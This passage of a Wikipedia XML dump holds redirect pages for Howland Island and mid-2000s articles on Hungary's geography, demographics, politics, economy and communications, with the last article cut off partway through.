      <text xml:space="preserve">#REDIRECT [[Howland Island]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Howland Island</title>
    <id>13417</id>
    <revision>
      <id>15911030</id>
      <timestamp>2003-08-03T00:09:54Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Howland Island]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Howland Island</title>
    <id>13418</id>
    <revision>
      <id>15911031</id>
      <timestamp>2003-08-03T00:11:04Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Howland Island]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Howland Island</title>
    <id>13419</id>
    <revision>
      <id>15911032</id>
      <timestamp>2002-08-30T19:11:06Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Howland Island]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Howland Island]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation on Howland Island</title>
    <id>13421</id>
    <revision>
      <id>15911033</id>
      <timestamp>2004-05-12T18:38:10Z</timestamp>
      <contributor>
        <username>Bkonrad</username>
        <id>44062</id>
      </contributor>
      <minor />
      <comment>rd --&gt; Howland Island</comment>
      <text xml:space="preserve">#REDIRECT [[Howland Island]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Howland Island</title>
    <id>13422</id>
    <revision>
      <id>15911034</id>
      <timestamp>2003-08-03T00:11:54Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Howland Island]]</text>
    </revision>
  </page>
  <page>
    <title>Hungary/History</title>
    <id>13424</id>
    <revision>
      <id>15911035</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Hungary]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Hungary</title>
    <id>13425</id>
    <revision>
      <id>39208178</id>
      <timestamp>2006-02-11T14:30:09Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>Implement MoS. x percent or x per cent -&gt; x %</comment>
      <text xml:space="preserve">[[Image:Hu-map.png|300px|thumb|Map of Hungary]]
[[Image:Satellite image of Hungary in December 2002.jpg|thumb|right|300px|Satellite image of Hungary in December 2002]]
With a land area of 93,030 square kilometers, '''[[Hungary]]''' is a country in [[Central Europe]] roughly the size of [[Portugal]] or the [[U.S.]] state of [[Indiana]]. It measures about 250 kilometers from north to south and 524 kilometers from east to west. It has some 2,258 kilometers of boundaries, shared with [[Austria]] to the west, [[Serbia and Montenegro]], [[Croatia]] and [[Slovenia]] to the south and southwest, [[Romania]] to the southeast, the [[Ukraine]] to the northeast, and [[Slovakia]] to the north.

Hungary's modern borders were first established after [[World War I]] when, by the terms of the [[Treaty of Trianon]] in 1920, it lost more than 71% of what had formerly been the [[Kingdom of Hungary]], 58.5% of its population, and 32% of the Hungarians. With the aid of Nazi Germany, the country secured some boundary revisions at the expense of parts of [[Slovakia]] in 1938 and [[Carpatho-Ukraine]] in 1939 and at the expense of [[Romania]] in 1940. ''(The most of these territories' population were Hungarian, but it's not true for [[Romania]]).'' However, Hungary lost these territories again with its defeat in [[World War II]]. After World War II, the Trianon boundaries were restored with a small revision that benefited [[Czechoslovakia]]. 

==Topography==
Most of the country has an elevation of fewer than 200 meters. Although Hungary has several moderately high ranges of mountains, those reaching heights of 300 meters or more cover less than 2 % of the country. The highest point in the country is [[Kékes|Mount Kékes]] (1,014 meters) in the [[Mátra|Mátra Mountains]] northeast of [[Budapest]]. The lowest spot is 77.6 meters above sea level, located in the south of Hungary, near [[Szeged]].

The major rivers in the country are the [[Danube]] and [[Tisza]]. The Danube also flows through parts of [[Germany]], [[Austria]], [[Slovakia]], [[Serbia]], and [[Romania]]. It is navigable within Hungary for 418 kilometers. The Tisza River is navigable for 444 kilometers in the country. Less important rivers include the [[Drava]] along the [[Croatia]]n border, the [[Rába]], the [[Szamos]], the [[Sió]], and the [[Ipoly]] along the Slovakian border. Hungary has three major lakes. [[Lake Balaton]], the largest, is 78 kilometers long and from 3 to 14 kilometers wide, with an area of 592 square kilometers. Hungarians often refer to it as the ''Hungarian Sea''. It is [[Central Europe]]'s largest [[freshwater]] lake and an important recreation area. Its shallow waters offer good summer swimming, and in winter its frozen surface provides excellent opportunities for winter sports. Smaller bodies of water are [[Lake Velence]] (26 square kilometers) in Fejér County and Lake Fertő ([[Neusiedler See]]--about 82 square kilometers within Hungary).

Hungary has three major geographic regions: the [[Great Alföld]], lying east of the Danube River; the [[Transdanubia]], a hilly region lying west of the Danube and extending to the Austrian foothills of the [[Alps]]; and the Northern Hills, which is a mountainous and hilly country beyond the northern boundary of the Great Hungarian Plain.

The Great Alföld contains the basin of the Tisza River and its branches. It encompasses more than half of the country's territory. Bordered by mountains on all sides, it has a variety of terrains, including regions of fertile soil, sandy areas, wastelands, and swampy areas. Hungarians have inhabited the Great Plain for at least a millennium. Here is found the [[puszta]], a long, and uncultivated expanse (the most famous such area still in existence is the [[Hortobágy]]), with which much Hungarian folklore is associated. In earlier centuries, the Great Plain was unsuitable for farming because of frequent flooding. Instead, it was the home of massive herds of cattle and horses. In the last half of the nineteenth century, the government sponsored programs to control the riverways and expedite inland drainage in the Great Plain. With the danger of recurrent flooding largely eliminated, much of the land was placed under cultivation, and herding ceased to be a major contributor to the area's economy.

The Transdanubia region lies in the western part of the country, bounded by the Danube River, the Drava River, and the remainder of the country's border with Slovenia and Croatia. It lies south and west of the course of the Danube. It contains Lake Fertő and Lake Balaton. The region consists mostly of rolling foothills of the Austrian Alps. However, several areas of the Transdanubia are flat, most notably the [[Little Alföld]] along the lower course of the Rába River. Transdanubia is primarily an agricultural area, with flourishing crops, livestock, and viticulture. Mineral deposits and oil are found in [[Zala]] county close to the border of Croatia.

The Northern Hills lie north of Budapest and run in a northeasterly direction south of the border with Slovakia. The higher ridges, which are mostly forested, have rich coal and iron deposits. Minerals are a major resource of the area and have long been the basis of the industrial economies of cities in the region. Viticulture is also important, producing the famous [[Tokaji]] wine.

The country's best natural resource is fertile land, although soil quality varies greatly. About 70 % of the country's total territory is suitable for agriculture; of this portion, 72 % is arable land. Hungary lacks extensive domestic sources of the energy and raw materials needed for industrial development.

==Climate==
Temperatures in Hungary vary from -28° C to 22° C. Average yearly rainfall is about sixty-four centimeters. Distribution and frequency of rainfall are unpredictable. The western part of the country usually receives more rain than the eastern part, where severe droughts may occur in summertime. Weather conditions in the Great Plain can be especially harsh, with hot summers, cold winters, and scant rainfall.

By the 1980s, the countryside was beginning to show the effects of pollution, both from herbicides used in agriculture and from industrial pollutants. Most noticeable was the gradual contamination of the country's bodies of water, endangering fish and wildlife. Although concern was mounting over these disturbing threats to the environment, no major steps had yet been taken to arrest them. 

{| border=2
|[[Geographic coordinates]]:||{{coor dm|47|00|N|20|00|E|type:country}}
|-
|Map references:||Europe
|-
|Area: 
|-
|&amp;nbsp; total:||93,030 km²
|-
|&amp;nbsp; land:||92,340 km²
|-
|&amp;nbsp; water:||690 km²
|-
|Area - comparative:||slightly smaller than [[Indiana]]
|-
|Land boundaries, total:|| 2,009 km
|-
|border countries:||Austria 366 km, Croatia 329 km, Romania 443 km, Serbia and Montenegro 151 km (all with Serbia), Slovakia 515 km, Slovenia 102 km, Ukraine 103 km
|-
|Coastline:||0 km (landlocked)
|-
|Maritime claims:||none (landlocked)
|-
|Climate:||temperate; cold, cloudy, humid winters; warm summers
|-
|Terrain:||mostly flat to rolling plains; hills and low mountains on the Slovakian border
|-
|Elevation extremes:
|-
|&amp;nbsp; lowest point:|| [[Theiss River|Tisza River]] 78 m
|-
|&amp;nbsp; highest point:|| [[Kékes]] 1,014 m
|-
|Natural resources:||bauxite, coal, natural gas, fertile soils, arable land
|-
|Land use:
|-
|&amp;nbsp; arable land:||51%
|-
|&amp;nbsp; permanent crops:||3.6%
|-
|&amp;nbsp; permanent pastures:||12.4%
|-
|&amp;nbsp; forests and woodland:||19%
|-
|&amp;nbsp; other:||14% (1999)
|-
|Irrigated land:||2,060 km² (1993 est.)
|-
|Environment - current issues:||the approximation of Hungary's standards in waste management, energy efficiency, and air, soil, and water pollution with environmental requirements for EU accession will require large investments
|-
|Environment - international agreements: &amp;nbsp;
|-
|&amp;nbsp; party to:||Air Pollution, Air Pollution-Nitrogen Oxides, Air Pollution-Sulphur 85, Air Pollution-Volatile Organic Compounds, Antarctic Treaty, Biodiversity, Climate Change, Desertification, Endangered Species, Environmental Modification, Hazardous Wastes, [[Law of the Sea]], Marine Dumping, Nuclear Test Ban, Ozone Layer Protection, Ship Pollution, Wetlands
|-
|&amp;nbsp; signed, but not ratified:||Air Pollution-Persistent Organic Pollutants, Air Pollution-Sulphur 94, Antarctic-Environmental Protocol
|-
|Geography - note:||landlocked; strategic location astride main land routes between Western Europe and Balkan Peninsula as well as between Ukraine and Mediterranean basin
|}

==See also== 
* [[Geography of Europe]]
* [[Hungary]]
* [[Budapest]]
* [[Debrecen]]
* [[Pécs]]
* [[Sopron]]

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

[[Category:Geography of Hungary|*]]
[[Category:Geography by country|Hungary]]

[[pl:Geografia Węgier]]
[[pt:Geografia da Hungria]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Hungary</title>
    <id>13426</id>
    <revision>
      <id>39374725</id>
      <timestamp>2006-02-12T19:22:13Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">[[Image:Hungary-demography.png|thumb|450px|right|Population change 1961-2003, as reported by [[Food and Agriculture Organization|FAO]], [[2005]]. Population numbers are in thousands.]]
'''[[Population]]:'''
10,198,315 (2001)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
17% (male 878,661; female 834,607)
&lt;br&gt;''15-64 years:''
68% (male 3,407,368; female 3,535,818)
&lt;br&gt;''65 years and over:''
15% (male 548,672; female 933,718) (2000 est.)

'''Population growth rate:'''
-0.33% (2000 est.)

'''[[Birth rate]]:'''
9.26 births/1,000 population (2000 est.)

'''[[Death]] rate:'''
13.34 deaths/1,000 population (2000 est.)

'''Net [[migration]] rate:'''
0.73 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.05 male(s)/female
&lt;br&gt;''15-64 years:''
0.96 male(s)/female
&lt;br&gt;''65 years and over:''
0.59 male(s)/female
&lt;br&gt;''total population:''
0.91 male(s)/female (2001)

'''[[Infant mortality]] rate:'''
9.15 deaths/1,000 live births (2000 est.)

'''[[Life expectancy]] at birth:'''
&lt;br&gt;''total population:''
71.37 years
&lt;br&gt;''male:''
67 years
&lt;br&gt;''female:''
76.05 years (2000 est.)

'''Total [[fertility]] rate:'''
1.25 children born/woman (2000 est.)

'''Ethnic groups:'''
[[Magyars|Hungarian]] 93%, [[Roma (people)|Roma]] 2%, [[German people|German]] 1.2%, [[Romanians|Romanian]] 0.8%, [[Slovaks|Slovak]] 0.4%, [[Croats|Croat]] 0.2%, [[Serbs|Serb]] 0.2%, [[Ukrainians|Ukrainian]] 0.1%

'''Religion:'''
The largest religion in Hungary is [[Roman Catholic Church|Catholicism]] (both [[Latin Rite|Roman]] and [[Eastern Rite|Greek]]; approx. two thirds of the population), with a [[Calvinism|Calvinist]] minority (around 20%) and [[Lutheranism|Lutherans]] (5%). However, these are book values, as the Hungarian population is not particularly religious; at most 25% practise their faith. Most of the country's Jews (1%) live in Budapest.

'''[[Literacy]]:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
99%
&lt;br&gt;''male:''
99%
&lt;br&gt;''female:''
98% (1980 est.)

:''See also :'' [[Hungary]]

==External links==
Hungary's Strategic Audit [http://www.demos.hu/audit] (click the [[Union Jack]] to see the english version)

[[Category:Demographics by country|Hungary]]
[[Category:Geography of Hungary]]
[[category:Hungarian society]]

[[es:Demografía de Hungría]]
[[ru:Население Венгрии]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Hungary</title>
    <id>13427</id>
    <revision>
      <id>40946031</id>
      <timestamp>2006-02-24T01:16:55Z</timestamp>
      <contributor>
        <username>Pavel Vozenilek</username>
        <id>87110</id>
      </contributor>
      <minor />
      <comment>rv spam</comment>
      <text xml:space="preserve">{{Politics of Hungary}}
'''Politics of Hungary''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[republic]], whereby the [[Prime Minister of Hungary]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and parliament. The party system is dominated by the socialist [[Hungarian Socialist Party]] and the conservative [[Hungarian Civic Union]] or FIDESZ. The [[Judiciary]] is independent of the executive and the legislature.
The Republic of Hungary is an independent, [[Democracy|democratic]] and [[constitutional]] state. Since the [[constitutional amendment]] of [[23 October]], [[1989]], Hungary is a [[parliamentary republic]]. 
Legislative power is exercised by the unicameral National Assembly that consists of 386 members. Members of the National Assembly are elected for four years.

==Executive branch==
{{office-table}}
|[[President of Hungary|President]]
|[[László Sólyom]]
|
|[[5 August]] [[2005]]
|-
|[[List of Prime Ministers of Hungary|Prime Minister]]
|[[Ferenc Gyurcsány]]
|[[Hungarian Socialist Party|MSZP]]
|[[29 September]] [[2004]]
|-
|Coalition partner
|
|[[Alliance of Free Democrats|SZDSZ]] 
|
|}
The [[President of Hungary|President of the Republic]], elected by the [[National Assembly of Hungary|National Assembly]] every five years, has a largely ceremonial role, but he is nominally the [[Commander-in-Chief]] of the armed forces and his powers include the nomination of the [[Prime Minister of Hungary|Prime Minister]] who is to be elected by a majority of the votes of the Members of Parliament, based on the recommendation made by the President of the Republic. 

Due to the [[Hungarian Constitution]] which has been based on the post-[[World War II|WWII]] [[Basic Law of the Federal Republic of Germany]], the Prime Minister has a leading role in the executive branch as he selects [[Cabinet]] ministers and has the exclusive right to dismiss them (similarly to the competences of the German federal chancellor). Each cabinet nominee appears before one or more parliamentary [[committee]]s in consultative open hearings, survive a vote by the Parliament and must be formally approved by the president.

==Legislative branch==
The [[unicameral]], 386-member [[National Assembly of Hungary|National Assembly]] (Országgyűlés) is the highest organ of state authority and initiates and approves legislation sponsored by the prime minister. A party must win at least 5% of the national vote to form a parliamentary faction. The '''[[National Assembly of Hungary|National Assembly]]''' (''Országgyűlés'') has 386 members, elected for a four year term, 176 members in single-seat [[constituency|constituencies]], 152 by [[proportional representation]] in multi-seat [[constituency|constituencies]] and 58 members elected to realize [[proportional representation]]. 

==Political parties and elections==
{{elect|List of political parties in Hungary|Elections in Hungary|}}
{{Hungarian legislative election, 2002}}
==Judicial branch==
A fifteen member [[Constitutional Court of Hungary|Constitutional Court]] has power to challenge legislation on grounds of [[unconstitutionality]]. This body has never been filled completely and currently convenes with just nine members, which verges on incapacitation.

The President of the [[Supreme Court]] and the Hungarian civil and penal legal system he leads is fully independent of the Executive Branch.

The [[Attorney General]] or Chief [[Prosecutor]] of Hungary is currently fully independent of the Executive Branch, but his status is actively debated.

Several [[ombudsman]] offices exist in Hungary to protect civil, minority, educational and ecological rights in non-judicial matters. They can issue legally binding decisions since late 2003.

==Financial branch==
The central bank, the [[National Bank of Hungary]] has been fully independent between 1990-2004, but new legislation has given certain appointment rights to the Executive Branch in November 2004 which is disputed before the [[Constitutional Court]].

==Administrative divisions==
Hungary is divided in 19 [[counties of Hungary|counties]] (''megyék'', singular - ''megye''), 20 urban counties* (singular - ''megyei város''), and 1 capital city** (''főváros''); [[Bács-Kiskun]], [[Baranya]], [[Békés (county)|Békés]], [[Békéscsaba]]*, [[Borsod-Abaúj-Zemplén]], [[Budapest]]**, [[Csongrád (county)|Csongrád]], [[Debrecen]]*, [[Dunaújváros]]*, [[Eger]]*, [[Érd]]*, [[Fejér]], [[Győr]]*, [[Győr-Moson-Sopron]], [[Hajdú-Bihar]], [[Heves (county)|Heves]], [[Hódmezővásárhely]]*, [[Jász-Nagykun-Szolnok]], [[Kaposvár]]*, [[Kecskemét]]*, [[Komárom-Esztergom]], [[Miskolc]]*, [[Nagykanizsa]]*, [[Nógrád (county)|Nógrád]], [[Nyíregyháza]]*, [[Pécs]]*, [[Pest (city)|Pest]], [[Salgótarján]]*, [[Somogy]], [[Sopron]]*, [[Szabolcs-Szatmár-Bereg]], [[Szeged]]*, [[Szekszárd]]*, [[Székesfehérvár]]*, [[Szolnok]]*, [[Szombathely]]*, [[Tatabánya]]*, [[Tolna (county)|Tolna]], [[Vas]], [[Veszprém (county)|Veszprém]], [[Veszprém]]*, [[Zala]], [[Zalaegerszeg]]*
&lt;!-- it doesn't make much sense to mix cities and countries together --&gt;
&lt;!-- I still maintain it makes no sense, especially that we have this list included in a zillion other articles... --&gt;

==Member of the international organizations==
Hungary is member of [[Arab Bank for Economic Development in Africa|ABEDA]], [[Australia Group]], [[Bank for International Settlements|BIS]], [[Conformité Européenne|CE]], [[CEI]], [[CERN]], [[Euro-Atlantic Partnership Council|EAPC]], [[European Bank for Reconstruction and Development|EBRD]], [[Economic Commission for Europe|ECE]], [[European Union|EU]] (member, as by [[May 1]], [[2004]]), [[Food and Agriculture Organization|FAO]], G- 9, [[International Atomic Energy Agency|IAEA]], [[International Bank for Reconstruction And Development|IBRD]], [[International Civil Aviation Organization|ICAO]], [[International Criminal Court|ICC]], [[International Confederation of Free Trade Unions|ICFTU]], [[International Committee for Radionuclide Metrology|ICRM]], [[International Development Association|IDA]], [[International Energy Agency|IEA]], [[IFC]], [[International Federation of Red Cross and Red Crescent Societies|IFRCS]], [[International Labour Organization|ILO]], [[International Monetary Fund|IMF]], [[International Maritime Organization|IMO]], [[International Marine/Maritime Satellite Organization|Inmarsat]], [[International Telecommunications Satellite Organization|Intelsat]], [[Interpol]], [[International Olympic Committee|IOC]], [[International Organization for Migration|IOM]], [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[Non-Aligned Movement|NAM]] (guest), [[NATO]], [[NEA]], [[Nuclear Suppliers Group|NSG]], [[OAS]] (observer), [[Organisation for Economic Co-operation and Development|OECD]], [[Organization for the Prohibition of Chemical Weapons|OPCW]], [[Organization for Security and Cooperation in Europe|OSCE]], [[Permanent Court of Arbitration|PCA]], [[Partnership for Peace|PFP]],[[Southeast European Cooperative Initiative|SECI]],  [[United Nations|UN]], [[United Nations Conference on Trade and Development|UNCTAD]], [[United Nations Educational, Scientific and Cultural Organization|UNESCO]], [[United Nations Forces In Cyprus|UNFICYP]], [[United Nations High Commissioner for Refugees|UNHCR]], [[United Nations Industrial Development Organization|UNIDO]], [[United Nations Iraq-Kuwait Observation Mission|UNIKOM]], [[United Nations Mission in Bosnia and Herzegovina|UNMIBH]], [[United Nations Interim Administration Mission in Kosovo|UNMIK]], [[United Nations Observer Mission in Georgia|UNOMIG]], [[United Nations University|UNU]], [[Universal Postal Union|UPU]], [[World Customs Organization|WCO]], [[Western European Union|WEU]] (associate), [[World Federation of Trade Unions|WFTU]], [[Visegrád group]], [[World Health Organization|WHO]], [[World Intellectual Property Organization|WIPO]], [[World Meteorological Organization|WMO]], [[World Tourism Organisation|WToO]], [[World Trade Organisation|WTrO]], [[Zangger Committee]]

==Ministries==
''Note: with restructruring and reorganization, this information may change even within a governmental period.''

* Prime Minister's Office ''(Miniszterelnöki Hivatal)''
* Ministry of Agriculture and Regional Development ''(Földművelésügyi és Vidékfejlesztési Minisztérium)''
* Ministry of Defence ''(Honvédelmi Minisztérium)''
* Ministry of Economic Affairs and Transport ''(Gazdasági és Közlekedési Minisztérium)''
* Ministry of Education ''(Oktatási Minisztérium)''
* Ministry of Employment and Labour ''(Foglalkoztatáspolitikai és Munkaügyi Minisztérium)''
* Ministry of Environmental Protection and Water ''(Környezetvédelmi és Vízügyi Minisztérium)''
* Ministry of Finance ''(Pénzügyminisztérium)''
* Ministry of Foreign Affairs ''(Külügyminisztérium)''
* Ministry of Health ''(Egészségügyi Minisztérium)''
* Ministry of Information Technology and Telecommunications ''(Informatikai és Hírközlési Minisztérium)''
* Ministry of Interior ''(Belügyminisztérium)''
* Ministry of Justice ''(Igazságügyi Minisztérium)''
* Ministry of National Cultural Heritage ''(Nemzeti Kulturális Örökség Minisztériuma)''
* Ministry of Youth, Family, Social Affairs and Equal Opportunities ''(Ifjúsági, Családügyi, Szociális és Esélyegyenlőségi Minisztérium)''

====Ministers without portfolio====
* Minister without portfolio responsible for/in charge of European affairs ''(Európai integrációs ügyek koordinációjáért felelős tárca nélküli miniszter)''
* Minister without portfolio for regional development and housing/convergence ''(Regionális fejlesztésért és felzárkóztatásért felelős tárca nélküli miniszter)''

(Sources differ on the English names.)

[[Category:Politics of Hungary| ]]

[[eo:Politiko de Hungario]]
[[fr:Politique de la Hongrie]]
[[pl:Ustrój polityczny Węgier]]
[[pt:Política da Hungria]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Hungary</title>
    <id>13428</id>
    <revision>
      <id>36708110</id>
      <timestamp>2006-01-25T23:00:57Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/195.156.161.125|195.156.161.125]] ([[User talk:195.156.161.125|talk]]) to last version by Nagytibi</comment>
      <text xml:space="preserve">The [[Hungary|Hungarian]] economy prior to [[WWII]] was primarily oriented toward agriculture and small-scale manufacturing. Hungary's strategic position in [[Europe]] and its relative high lack of natural resources also have dictated a traditional reliance on foreign trade. In the early 1950s, the communist government forced rapid industrialization after the standard [[Stalinist]] pattern in an effort to encourage a more self-sufficient economy. Most economic activity was conducted by state-owned enterprises or cooperatives and state farms. In 1968, Stalinist self-sufficiency was replaced by the &quot;New Economic Mechanism,&quot; which reopened Hungary to foreign trade, gave limited freedom to the workings of the market, and allowed a limited number of small businesses to operate in the services sector.

Although [[Hungary]] enjoyed one of the most liberal and economically advanced economies of the former Eastern bloc, both agriculture and industry began to suffer from a lack of investment in the 1970s, and Hungary's net foreign debt rose significantly—from $1 billion in 1973 to $15 billion in 1993—due largely to consumer subsidies and unprofitable state enterprises. In the face of economic stagnation, Hungary opted to try further liberalization by passing a joint venture law, enstating an income tax, and joining the [[International Monetary Fund]] (IMF) and the [[World Bank]]. By 1988, Hungary had developed a two-tier banking system and had enacted significant corporate legislation which paved the way for the ambitious market-oriented reforms of the post-communist years.

The [[József Antall|Antall]] government of 1990–94 began market reforms with price and trade liberation measures, a revamped tax system, and a nascent market-based banking system. By 1994, however, the costs of government overspending and hesitant privatization had become clearly visible. Cuts in consumer subsidies led to increases in the price of food, medicine, transportation services, and energy. Reduced exports to the former Soviet bloc and shrinking industrial output contributed to a sharp decline in GDP. Unemployment rose rapidly—to about 12% in 1993. The external debt burden, one of the highest in Europe, reached 250% of annual export earnings, while the budget and current account deficits approached 10% of GDP. In March 1995, the government of Prime Minister [[Gyula Horn]] implemented an austerity program, coupled with aggressive privatization of state-owned enterprises and an export-promoting exchange raw regime, to reduce indebtness, cut the current account deficit, and shrink public spending. By the end of 1997 the consolidated public sector deficit decreased to 4.6% of GDP—with public sector spending falling from 62% of GDP to below 50%—the current account deficit was reduced to 2% of GDP, and government debt was paid down to 94% of annual export earnings.

The Government of Hungary no longer requires IMF financial assistance and has repaid all of its debt to the fund. Consequently, Hungary enjoys favorable borrowing terms, and its sovereign foreign currency debt issuances carry investment-grade ratings with positive outlooks from all major credit-rating agencies. In 1995 Hungary's currency, the forint (HUF), became convertible for all current account transactions, and subsequent to [[OECD]] membership in 1996, for almost all capital account transactions as well. Since 1995, Hungary has pegged the forint against a basket of currencies (in which the U.S. dollar is 30%), and the central rate against the basket is devalued at a preannounced rate, currently set at 0.8% per month. The government privatization program will end on schedule in 1998: 80% of GDP is now produced by the private sector, and foreign owners control 70% of financial institutions, 66% of industry, 90% of telecommunications, and 50% of the trading sector.

After Hungary's GDP declined about 18% from 1990 to 1993 and grew only 1%–1.5% up to 1996, strong export performance has propelled GDP growth to 4.4% in 1997, with other macroeconomic indicators similarly improving. These successes allowed the government to concentrate in 1996 and 1997 on major structural reforms such as the implementation of a fully funded pension system, reform of higher education, and the creation of a national treasury. Remaining economic challenges include reducing fiscal deficits and inflation (expected to fall to 13% by the end of 1998), maintaining stable external balances, and completing structural reforms of the tax system, health care, and local government financing. Recently, the overriding goal of Hungarian economic policy has been to prepare the country for entry into the European Union, which it joined in late 2004. 

Prior to the change of regime in 1989, 65% of Hungary's trade was with [[Comecon]] countries. By the end of 1997, Hungary had shifted much of its trade to the West. Trade with [[EU]] countries and the OECD now comprises over 70% and 80% of the total, respectively. [[Germany]] is Hungary's single most important trading partner. The [[United States|U.S.]] has become Hungary's sixth-largest export market, while Hungary is ranked as the 72d largest export market for the U.S. Bilateral trade between the two countries increased 46% in 1997 to more than $1 billion. The U.S. has extended to Hungary most-favored-nation status, the Generalized System of Preferences, Overseas Private Investment Corporation insurance, and access to the [[Export-Import Bank of the United States|Export-Import Bank]].

With about $18 billion in foreign direct investment (FDI) since 1989, Hungary has attracted over one-third of all FDI in central and eastern Europe, including the former Soviet Union. Of this, about $6 billion came from American companies. Foreign capital is attracted by skilled and relatively inexpensive labor, tax incentives, modern infrastructure, and a good telecommunications system.

== Statistics ==
'''GDP - real growth rate:'''
4.25% (2005 est.)

'''GDP - per capita:'''
purchasing power parity - $16,800 (2005 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
3,3%
&lt;br&gt;''industry:''
32,5%
&lt;br&gt;''services:''
64,2% (2000 est.)

'''Population below poverty line:'''
N/A

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
4%
&lt;br&gt;''highest 10%:''
21% (1998)

'''Distribution of family income - [[Gini index]]:'''
24 (1998)

'''Inflation rate (consumer prices):'''
3.6% (2005)

'''Labor force:'''
4.1 million (2005)

'''Labor force - by occupation:'''
services 65%, industry 27%, agriculture 8% (1996)

'''Unemployment rate:'''
7.2% (2005)

'''Industrial production growth rate:'''
8.3% (2004)

'''Electricity - production:'''
34.39 GWh (2001)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
59%
&lt;br&gt;''hydro:''
1%
&lt;br&gt;''nuclear:''
40%
&lt;br&gt;''other:''
0% (2000 est.)

'''Electricity - consumption:'''
35.15 GWh (2000)

'''Electricity - exports:'''
7.261 GWh (2001)

'''Electricity - imports:'''
10.43 GWh (2000)

'''Agriculture - products:'''
wheat, corn, sunflower seed, potatoes, sugar beets; pigs, cattle, poultry, dairy products

'''Exports:'''
$55.47 billion (2004)

'''Exports - commodities:'''
machinery and equipment 57.6%, other manufactures 31.0%, food products 7.5%, raw materials 1.9%, fuels and electricity 1.9% (2001)

'''Exports - partners:'''
[[Germany]] 34.1%, Austria 8%, Italy 5.8%, France 5,7%, UK 4.5%, [[Netherlands]] 4,1% (2003)

'''Imports:'''
$60.25 billion (2004)

'''Imports - commodities:'''
machinery and equipment 51.6%, other manufactures 35.3%, fuels and electricity 8.2%, food products 2.9%, raw materials 2.0% (2001)

'''Imports - partners:'''
Germany 24.5%, [[Italy]] 7.1%, [[China]] 6.9%, Austria 6.3%, [[Russia]] 6.2%, [[France]] 4,8%, Japan 4,2% (2003)

'''Debt - external:'''
$42,38 billion (2003 est.)

'''Economic aid - recipient:'''
ODA $250 million (2000)

'''Currency:'''
1 forint (HUF)

'''Exchange rates:'''
forints per U.S. dollar - 224.307 (2003), 257.887 (2002), 286.490 (2001), 282.179 (2000), 237.146 (1999), 214.402 (1998), 186.789 (1997)

'''Fiscal year:'''
calendar year

==See also==
===External links===
*[http://www.oecd.org/hungary/ OECD's Hungary country Web site] and [http://www.oecd.org/eco/surveys/hungary/ OECD Economic Survey of Hungary]

===Lists===
*[[List of Hungarian companies]]

===Stock exchanges===
*[[Budapest Stock Exchange]]

===Stock indices===
*[[BUX]]

===Other===
*[[Economy of Europe]]
*[[Hungary]]

{{EU countries}}
{{OECD}}
{{WTO}}

[[Category:Economy of Hungary| ]]
[[Category:European Union member economies]]

[[es:Economía de Hungría]]
[[fr:Économie de la Hongrie]]
[[pl:Gospodarka Węgier]]
[[pt:Economia da Hungria]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Hungary</title>
    <id>13429</id>
    <revision>
      <id>30866758</id>
      <timestamp>2005-12-10T22:51:29Z</timestamp>
      <contributor>
        <ip>67.20.2.147</ip>
      </contributor>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
4.03 million (2003) [http://www.hif.hu/english/menu3/m3_2/vezgyors/2003/july.pdf]

'''Telephones - mobile cellular:'''
9.1 million (2005) [http://www.hif.hu/english/menu3/m3_2/mobil/2003/july.pdf]

'''Telephone system:'''
The telephone system has been modernized and is capable of satisfying all requests for telecommunication service.
&lt;br&gt;''domestic:''
The system is digitalized and highly automated.  Trunk services are carried by fiber-optic cable and digital microwave radio relay.  A program for fiber-optic subscriber connections was initiated in 1996.  Heavy use is made of mobile cellular telephones
&lt;br&gt;''international:''
Hungary has fiber-optic cable connections with all neighboring countries; the international switch is in [[Budapest]];  satellite earth stations - 2 [[Intelsat]] ([[Atlantic Ocean]] and [[Indian Ocean]] regions), 1 [[Inmarsat]], 1 [[very small aperture terminal]] (VSAT) system of ground terminals

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
